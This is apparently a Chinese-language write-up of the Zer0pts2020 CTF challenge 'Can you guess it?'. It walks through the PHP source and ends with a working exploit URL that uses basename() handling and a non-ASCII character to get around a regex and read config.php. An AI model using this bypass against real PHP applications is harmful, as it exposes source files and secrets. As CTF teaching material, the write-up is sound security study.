[Zer0pts2020]Can you guess it? basename()函数绕过&正则表达式绕过

审计源码;

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>

$_SERVER['PHP_SELF']是当前执行的脚本名，比如url是：http://xxx/index.php     $SERVER['PHP_SELF']的值就是index.php

如果url是：http://xxx/index.php/a.php/a/b/c/d/?a=1   $_SERVER['PHP_SELF']的值就是index.php/a.php/a/b/c/d/  （忽略传参）

源码里有一句：

highlight_file(basename($_SERVER['PHP_SELF']));

 

如果url是：http://xxx/index.php/a      basename($_SERVER['PHP_SELF'])的值就是a  （只看最后一个/后面的，同样忽略传参）

 

正则：/config\.php\/*$/i  最后是个*，传一个中文字符（打印不出来）,正则就会失效

 

本题exp：http://xxx/index.php/config.php/啊?source